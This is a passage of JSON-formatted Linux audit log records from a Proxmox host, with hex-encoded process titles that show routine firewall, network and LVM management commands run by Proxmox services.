proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965565344,"@rawstring":"node=pve type=PATH msg=audit(1781965565.344:66161): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.054:64140): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565336,"@rawstring":"node=pve type=PATH msg=audit(1781965565.336:66160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.054:64139): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565336,"@rawstring":"node=pve type=PATH msg=audit(1781965565.336:66160): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.052:64138): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565330,"@rawstring":"node=pve type=PATH msg=audit(1781965565.330:66159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.043:64137): proctitle=\"ip6tables-save\""} {"@timestamp":1781965565330,"@rawstring":"node=pve type=PATH msg=audit(1781965565.330:66159): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.035:64136): proctitle=\"iptables-save\""} {"@timestamp":1781965565322,"@rawstring":"node=pve type=PATH msg=audit(1781965565.322:66158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.031:64135): proctitle=69707365740073617665"} {"@timestamp":1781965565322,"@rawstring":"node=pve type=PATH msg=audit(1781965565.322:66158): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.023:64134): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965565315,"@rawstring":"node=pve type=PATH msg=audit(1781965565.315:66156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965095.010:64133): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965565315,"@rawstring":"node=pve type=PATH msg=audit(1781965565.315:66156): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965094.351:64132): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965565310,"@rawstring":"node=pve type=PATH msg=audit(1781965565.310:66155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965094.324:64131): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965565310,"@rawstring":"node=pve type=PATH msg=audit(1781965565.310:66155): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.757:64130): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565301,"@rawstring":"node=pve type=PATH msg=audit(1781965565.301:66154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.757:64129): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565301,"@rawstring":"node=pve type=PATH msg=audit(1781965565.301:66154): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.757:64128): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565296,"@rawstring":"node=pve type=PATH msg=audit(1781965565.296:66153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.750:64127): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565296,"@rawstring":"node=pve type=PATH msg=audit(1781965565.296:66153): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.750:64126): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565290,"@rawstring":"node=pve type=PATH msg=audit(1781965565.290:66152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965091.749:64125): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565290,"@rawstring":"node=pve type=PATH msg=audit(1781965565.290:66152): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.741:64124): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565285,"@rawstring":"node=pve type=PATH msg=audit(1781965565.285:66151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.741:64123): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565285,"@rawstring":"node=pve type=PATH msg=audit(1781965565.285:66151): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.741:64122): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565277,"@rawstring":"node=pve type=PATH msg=audit(1781965565.277:66150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.733:64121): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565277,"@rawstring":"node=pve type=PATH msg=audit(1781965565.277:66150): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.733:64120): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565269,"@rawstring":"node=pve type=PATH msg=audit(1781965565.269:66149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965086.732:64119): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965565269,"@rawstring":"node=pve type=PATH msg=audit(1781965565.269:66149): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.997:64118): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965565263,"@rawstring":"node=pve type=PATH msg=audit(1781965565.263:66148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085995,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.995:64117): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965565263,"@rawstring":"node=pve type=PATH msg=audit(1781965565.263:66148): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.993:64116): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565258,"@rawstring":"node=pve type=PATH msg=audit(1781965565.258:66147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.993:64115): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565258,"@rawstring":"node=pve type=PATH msg=audit(1781965565.258:66147): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.987:64114): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965565257,"@rawstring":"node=pve type=PATH msg=audit(1781965565.257:66146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.981:64113): proctitle=\"ip6tables-save\""} {"@timestamp":1781965565257,"@rawstring":"node=pve type=PATH msg=audit(1781965565.257:66146): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.975:64112): proctitle=\"iptables-save\""} {"@timestamp":1781965565256,"@rawstring":"node=pve type=PATH msg=audit(1781965565.256:66145): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.967:64111): proctitle=\"ip6tables-save\""} {"@timestamp":1781965565250,"@rawstring":"node=pve type=PATH msg=audit(1781965565.250:66144): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.960:64110): proctitle=\"iptables-save\""} {"@timestamp":1781965565250,"@rawstring":"node=pve type=PATH msg=audit(1781965565.250:66144): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.958:64109): proctitle=\"ebtables-restore\""} {"@timestamp":1781965565250,"@rawstring":"node=pve type=PATH msg=audit(1781965565.250:66144): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.955:64108): proctitle=\"ebtables-restore\""} {"@timestamp":1781965565242,"@rawstring":"node=pve type=PATH msg=audit(1781965565.242:66143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.951:64107): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965565242,"@rawstring":"node=pve type=PATH msg=audit(1781965565.242:66143): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.945:64106): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965565230,"@rawstring":"node=pve type=PATH msg=audit(1781965565.230:66142): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.938:64105): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965565230,"@rawstring":"node=pve type=PATH msg=audit(1781965565.230:66142): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.931:64104): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965565223,"@rawstring":"node=pve type=PATH msg=audit(1781965565.223:66141): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.927:64103): proctitle=697073657400726573746F7265"} {"@timestamp":1781965565223,"@rawstring":"node=pve type=PATH msg=audit(1781965565.223:66141): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.921:64102): proctitle=\"ip6tables-save\""} {"@timestamp":1781965565214,"@rawstring":"node=pve type=PATH msg=audit(1781965565.214:66140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.913:64101): proctitle=\"iptables-save\""} {"@timestamp":1781965565214,"@rawstring":"node=pve type=PATH msg=audit(1781965565.214:66140): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.910:64100): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965565201,"@rawstring":"node=pve type=PATH msg=audit(1781965565.201:66139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.906:64099): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965565201,"@rawstring":"node=pve type=PATH msg=audit(1781965565.201:66139): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.906:64098): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965564999,"@rawstring":"node=pve type=PATH msg=audit(1781965564.999:66138): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.906:64097): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965564999,"@rawstring":"node=pve type=PATH msg=audit(1781965564.999:66138): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.901:64096): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965564953,"@rawstring":"node=pve type=PATH msg=audit(1781965564.953:66137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.895:64095): proctitle=\"ip6tables-save\""} {"@timestamp":1781965564953,"@rawstring":"node=pve type=PATH msg=audit(1781965564.953:66137): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.887:64094): proctitle=\"iptables-save\""} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PATH msg=audit(1781965563.475:66136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.881:64093): proctitle=69707365740073617665"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PATH msg=audit(1781965563.475:66136): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.874:64092): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PATH msg=audit(1781965563.475:66135): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965085.864:64091): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PATH msg=audit(1781965563.475:66134): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965084.218:64090): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PATH msg=audit(1781965563.465:66133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965084.165:64089): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PATH msg=audit(1781965563.465:66133): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965083.481:64088): proctitle=2F7573722F62696E2F7065726C002F7573722F7362696E2F716D00766E6370726F787900383737"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PATH msg=audit(1781965563.465:66132): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965083.409:64087): proctitle=2F62696E2F7373002D48746C6E0073706F7274203D203A35393030"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PATH msg=audit(1781965563.465:66131): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.723:64086): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558456,"@rawstring":"node=pve type=PATH msg=audit(1781965558.456:66130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.723:64085): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558456,"@rawstring":"node=pve type=PATH msg=audit(1781965558.456:66130): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.723:64084): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558456,"@rawstring":"node=pve type=PATH msg=audit(1781965558.456:66129): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.713:64083): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558455,"@rawstring":"node=pve type=PATH msg=audit(1781965558.455:66128): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.713:64082): 